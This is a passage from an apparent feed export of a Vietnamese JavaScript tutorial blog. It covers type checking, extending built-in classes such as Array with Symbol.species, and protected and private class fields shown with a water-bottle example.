0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Dưới đây là tóm tắt các phương pháp kiểm tra kiểu (class):</p> <table> <thead> <tr> <th></th> <th>Áp dụng cho</th> <th>Kiểu trả về</th> </tr> </thead> <tbody> <tr> <td><code>typeof</code></td> <td>Kiểu nguyên thủy</td> <td><code>string</code></td> </tr> <tr> <td><code>{}.toString</code></td> <td>Kiểu nguyên thủy, built-in class, đối tượng có <code>Symbol.toStringTag</code></td> <td><code>string</code></td> </tr> <tr> <td><code>instanceof</code></td> <td>Các đối tượng</td> <td><code>boolean</code></td> </tr> </tbody> </table> <p>Như bạn có thể thấy, <code>{}.toString</code> về cơ bản là nâng cao hơn so với <code>typeof</code>.</p> <p>Và toán tử <code>instanceof</code> thực sự hiệu quả khi bạn đang làm việc với hệ thống các class có phân cấp và muốn kiểm tra class có tính đến tính kế thừa.</p> <p>Tham khảo: <a href="https://javascript.info/instanceof">Class checking: "instanceof"</a></p>[email protected]<![CDATA[Kế thừa built-in class trong JavaScript]]><![CDATA[Bạn có thể kế thừa built-in class trong JavaScript như Array, Map,... Built-in class là các class được định nghĩa bởi JavaScript. Ví dụ kế thừa class Array Sau đây, mình sẽ tạo…]]>https://completejavascript.com/ke-thua-built-in-class-trong-javascript/https://completejavascript.com/ke-thua-built-in-class-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]>Sun, 02 Jul 2017 20:00:00 GMT<p>Bạn có thể kế thừa built-in class trong JavaScript như <strong>Array, Map</strong>,...</p> <blockquote> <p>Built-in class là các class được định nghĩa bởi JavaScript.</p> </blockquote> <h2 id="ví-dụ-kế-thừa-class-array" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-k%E1%BA%BF-th%E1%BB%ABa-class-array" aria-label="ví dụ kế thừa class array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ kế thừa class Array</h2> <p>Sau đây, mình sẽ tạo class <code>MyArray</code> kế thừa từ class <code>Array</code> và bổ sung thêm phương thức <code>isEmpty()</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyArray</span> <span class="token keyword">extends</span> <span class="token class-name">Array</span> <span class="token punctuation">{</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MyArray</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token keyword">let</span> filteredArr <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item <span class="token operator">>=</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filteredArr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5, 3, 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filteredArr<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Một điều cần <strong>chú ý</strong> trong ví dụ trên là phương thức <code>filter</code> trả về đối tượng kiểu <code>MyArray</code> chứ không phải <code>Array</code>.</p> <p>Bởi phương thức <code>filter</code> sử dụng <code>arr.constructor</code> để khởi tạo đối tượng trả về.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyArray</span> <span class="token keyword">extends</span> <span class="token class-name">Array</span> <span class="token punctuation">{</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MyArray</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// MyArray</span></span></code></pre></div> <p>Như bạn thấy rằng, giá trị của <code>arr.constructor</code> là <code>MyArray</code>. Do đó, kết quả trả về đúng kiểu <code>MyArray</code>.</p> <p>Ngoài ra, bạn có thể tùy biến kiểu giá trị trả về bằng cách sử dụng một <a href="/tim-hieu-ve-symbol-trong-javascript/">Symbol</a> đặc biệt là <code>Symbol.species</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyArray</span> <span class="token keyword">extends</span> <span class="token class-name">Array</span> <span class="token punctuation">{</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">static</span> <span class="token keyword">get</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>species<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> Array<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MyArray</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> filteredArr <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item <span class="token operator">>=</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filteredArr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5, 3, 4</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filteredArr<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Lỗi: filteredArr.isEmpty is not a function</span></span></code></pre></div> <p>Trong ví dụ trên, bạn gặp lỗi <code>filteredArr.isEmpty is not a function</code> bởi vì kết quả trả về lúc này thuộc kiểu <code>Array</code> chứ không phải <code>MyArray</code>. Mà trong class <code>Array</code> thì không tồn tại hàm <code>isEmpty</code>.</p> <h2 id="static-không-được-kế-thừa-với-built-in-classes" style="position:relative;"><a href="#static-kh%C3%B4ng-%C4%91%C6%B0%E1%BB%A3c-k%E1%BA%BF-th%E1%BB%ABa-v%E1%BB%9Bi-built-in-classes" aria-label="static không được kế thừa với built in classes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Static không được kế thừa với built-in classes</h2> <p>Như bạn đã biết trong bài <a href="/thuoc-tinh-phuong-thuc-static-class-trong-javascript/">thuộc tính và phương thức static của class trong JavaScript</a>, các thuộc tính và phương thức static của class được kế thừa khi sử dụng từ khóa <code>extends</code>.</p> <p>Tuy nhiên, với các built-in classes thì <strong>không</strong>.</p> <p>Ví dụ như class <code>Object</code> có phương thức static là <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys()</code></a> dùng để trả về <strong>các thuộc tính enumerable</strong> trong object.</p> <p>Trong khi đó, class <code>Array</code> kế thừa từ class <code>Object</code> nhưng lại không có phương thức này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span>keys<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ƒ keys() { [native code] }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Array<span class="token punctuation">.</span>keys<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Nguyên nhân là vì, chỉ có <code>Array.prototype</code> kế thừa <code>Object.prototype</code> chứ <code>Array</code> không kế thừa <code>Object</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Date<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Đó là điểm khác biệt của kế thừa giữa các built-in classes so với kế thừa các class thông thường dùng từ khóa <code>extends</code>.</p> <p>Tham khảo: <a href="https://javascript.info/extend-natives">Extending built-in classes</a></p>[email protected]<![CDATA[Thuộc tính và phương thức private của class trong JavaScript]]><![CDATA[Một trong những tính chất quan trọng của lập trình hướng đối tượng là tính đóng gói - Encapsulation. Hiểu đơn giản, tính đóng gói là khả năng che giấu thông tin của đối tượng với…]]>https://completejavascript.com/thuoc-tinh-phuong-thuc-private-class-trong-javascript/https://completejavascript.com/thuoc-tinh-phuong-thuc-private-class-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]>Sat, 01 Jul 2017 20:00:00 GMT<p>Một trong những tính chất quan trọng của lập trình hướng đối tượng là <a href="https://vi.wikipedia.org/wiki/%C4%90%C3%B3ng_g%C3%B3i_(l%E1%BA%ADp_tr%C3%ACnh_m%C3%A1y_t%C3%ADnh)">tính đóng gói</a> - <strong>Encapsulation</strong>.</p> <blockquote> <p>Hiểu đơn giản, <strong>tính đóng gói</strong> là khả năng <strong>che giấu thông tin của đối tượng với môi trường bên ngoài</strong>. Việc cho phép môi trường bên ngoài tác động lên các dữ liệu bên trong của đối tượng hoàn toàn tùy thuộc vào người lập trình.</p> </blockquote> <p>Để làm được điều này, các ngôn ngữ lập trình như C++, Java,... hỗ trợ từ khóa <code>private</code> và <code>protected</code> giúp <strong>hạn chế phạm vi sử dụng</strong> của các thuộc tính và phương thức trong class.</p> <p>Tuy nhiên, JavaScript lại không hỗ trợ các từ khóa này. Vậy thì làm sao để khai báo và sử dụng các <strong>phương thức private (protected), thuộc tính private (protected)</strong> trong JavaScript?</p> <h2 id="đặt-bài-toán" style="position:relative;"><a href="#%C4%91%E1%BA%B7t-b%C3%A0i-to%C3%A1n" aria-label="đặt bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặt bài toán</h2> <p>Trước khi đi vào chi tiết cách triển khai phương thức private (protected), thuộc tính private (protected) trong JavaScript, mình đặt ra bài toán minh họa về <strong>bình nước</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> waterAmount <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// lượng nước trong bình</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>volume <span class="token operator">=</span> volume<span class="token punctuation">;</span> <span class="token comment">// thế tích của bình</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// tạo mới bình nước</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị nước</span> waterBottle<span class="token punctuation">.</span>waterAmount <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đoạn code trên, mình định nghĩa class <code>WaterBottle</code> bao gồm:</p> <ul> <li>Thuộc tính <code>waterAmount</code> là lượng nước trong bình.</li> <li>Thuộc tính <code>volume</code> là thể tích của bình.</li> </ul> <p>Với cách định nghĩa như trên, thuộc tính <code>waterAmount</code> và <code>volume</code> là hoàn toàn <strong>public</strong>. Nói cách khác, bạn có thể <strong>dễ dàng get/set giá trị</strong> cho chúng từ bên ngoài class <code>WaterBottle</code> mà không bị giới hạn gì.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">waterBottle<span class="token punctuation">.</span>waterAmount <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> waterBottle<span class="token punctuation">.</span>volume <span class="token operator">=</span> <span class="token number">200</span><span class="token punctuation">;</span></code></pre></div> <p>Tuy nhiên, thực tế là luôn có giới hạn. Mình mong muốn giá trị của <code>volume</code> <strong>không đổi</strong> sau khi tạo đối tượng. Còn thuộc tính <code>waterAmount</code> luôn không âm và không vượt quá <code>volume</code>.</p> <p>Vì vậy, mình muốn <strong>các thuộc tính trên được bảo vệ</strong> để có thể dễ dàng kiểm soát việc thay đổi chúng.</p> <h2 id="định-nghĩa-thuộc-tính-protected-và-phương-thức-protected" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-thu%E1%BB%99c-t%C3%ADnh-protected-v%C3%A0-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-protected" aria-label="định nghĩa thuộc tính protected và phương thức protected permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa thuộc tính protected và phương thức protected</h2> <p>Như mình đã nói ở trên, JavaScript không hỗ trợ từ khóa <strong>protected</strong>. Tuy nhiên, có một cách mà nhiều lập trình viên ngầm định với nhau là sử dụng dấu gạch dưới <code>_</code> để biểu diễn phương thức protected và thuộc tính protected.</p> <p>Với cách này, đoạn code trên có thể sửa thành như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> _waterAmount <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// lượng nước trong bình</span> <span class="token keyword">get</span> <span class="token function">waterAmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_waterAmount<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">set</span> <span class="token function">waterAmount</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> value <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">></span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">)</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_waterAmount <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">get</span> <span class="token function">volume</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume <span class="token operator">=</span> volume<span class="token punctuation">;</span> <span class="token comment">// thế tích của bình</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo mới bình nước</span> waterBottle<span class="token punctuation">.</span>waterAmount <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị nước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span>waterAmount<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> waterBottle<span class="token punctuation">.</span>waterAmount <span class="token operator">=</span> <span class="token number">200</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị nước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span>waterAmount<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100</span> waterBottle<span class="token punctuation">.</span>waterAmount <span class="token operator">=</span> <span class="token number">50</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị nước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span>waterAmount<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 50</span></code></pre></div> <p>Trong đoạn code trên, mình đã đổi tên các thuộc tính thành <code>_waterAmount</code> và <code>_volume</code>.</p> <p>Giờ đây, việc get/set giá trị của <code>waterAmount</code> đều thông qua hàm get và set. Trong hàm <code>set waterAmount()</code>, mình có thêm <strong>các điều kiện ràng buộc</strong> để đảm bảo giá trị của <code>waterAmount</code> luôn không âm và không vượt quá <code>volume</code>.</p> <p>Đối với <code>_volume</code>, vì mình mong muốn thuộc tính này không thay đổi sau khi khởi tạo đối tượng, nên mình chỉ triển khai hàm get <code>volume</code> chứ không viết hàm set.</p> <p><strong>Chú ý:</strong></p> <p>► Mình muốn nhấn mạnh lại rằng, việc get/set giá trị cho các thuộc tính <code>_waterAmount</code> và <code>_volume</code> là hoàn toàn có thể. Tuy nhiên, việc này là không khuyến khích vì có thể gây ra lỗi logic sau này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">waterBottle<span class="token punctuation">.</span>_waterAmount <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// gán giá trị nước</span> waterBottle<span class="token punctuation">.</span>_volume <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// thay đổi thế tích</span></code></pre></div> <p>► Ngoài cách sử dụng hàm <a href="/getter-va-setter-trong-javascript/">getter và setter</a>, bạn có thể viết hàm bình thường dạng <code>get...</code> và <code>set...</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> _waterAmount <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// lượng nước trong bình</span> <span class="gatsby-highlight-code-line"> <span class="token function">getWaterAmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_waterAmount<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token function">setWaterAmount</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> value <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">></span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">)</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>_waterAmount <span class="token operator">=</span> value<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token function">getVolume</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_volume <span class="token operator">=</span> volume<span class="token punctuation">;</span> <span class="token comment">// thế tích của bình</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo mới bình nước</span> <span class="gatsby-highlight-code-line">waterBottle<span class="token punctuation">.</span><span class="token function">setWaterAmount</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span><span class="token function">getWaterAmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 50</span></span></code></pre></div> <p>Cách viết này thường dài dòng hơn cách sử dụng getter/setter, tuy nhiên lại linh động hơn.</p> <p>Vì cách sử dụng getter/setter, bạn chỉ truyền được một tham số. Còn khi viết hàm bình thường, bạn có thể truyền số lượng tham số tùy ý.</p> <p>► Các thuộc tính, phương thức protected với <code>_</code> như trên không khác gì các thuộc tính, phương thức thông thường về mặt logic. Vì vậy, chúng có thể được truy cập từ các class kế thừa thông qua prototype hay <a href="/ke-thua-class-trong-javascript/">từ khóa <code>extend</code></a>.</p> <h2 id="định-nghĩa-thuộc-tính-private-và-phương-thức-private" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-thu%E1%BB%99c-t%C3%ADnh-private-v%C3%A0-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-private" aria-label="định nghĩa thuộc tính private và phương thức private permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa thuộc tính private và phương thức private</h2> <p>Để định nghĩa thuộc tính private và phương thức private trong class JavaScript, bạn chỉ cần thêm kí tự <code>#</code> trước tên thuộc tính hay phương thức.</p> <blockquote> <p><strong>Chú ý:</strong> thuộc tính private hay phương thức private <strong>chưa support hoàn toàn</strong> trên các trình duyệt, bạn có thể tham khảo thêm tại đây: <a href="https://caniuse.com/mdn-javascript_classes_private_class_fields">CanIUse - JavaScript classes: Private class fields</a></p> </blockquote> <p>Áp dụng cách này vào đoạn code trên ta có kết quả như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> #waterAmount <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// lượng nước trong bình</span> #volume <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// thế tích của bình</span> <span class="token keyword">get</span> <span class="token function">waterAmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#waterAmount<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">set</span> <span class="token function">waterAmount</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> value <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">></span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume<span class="token 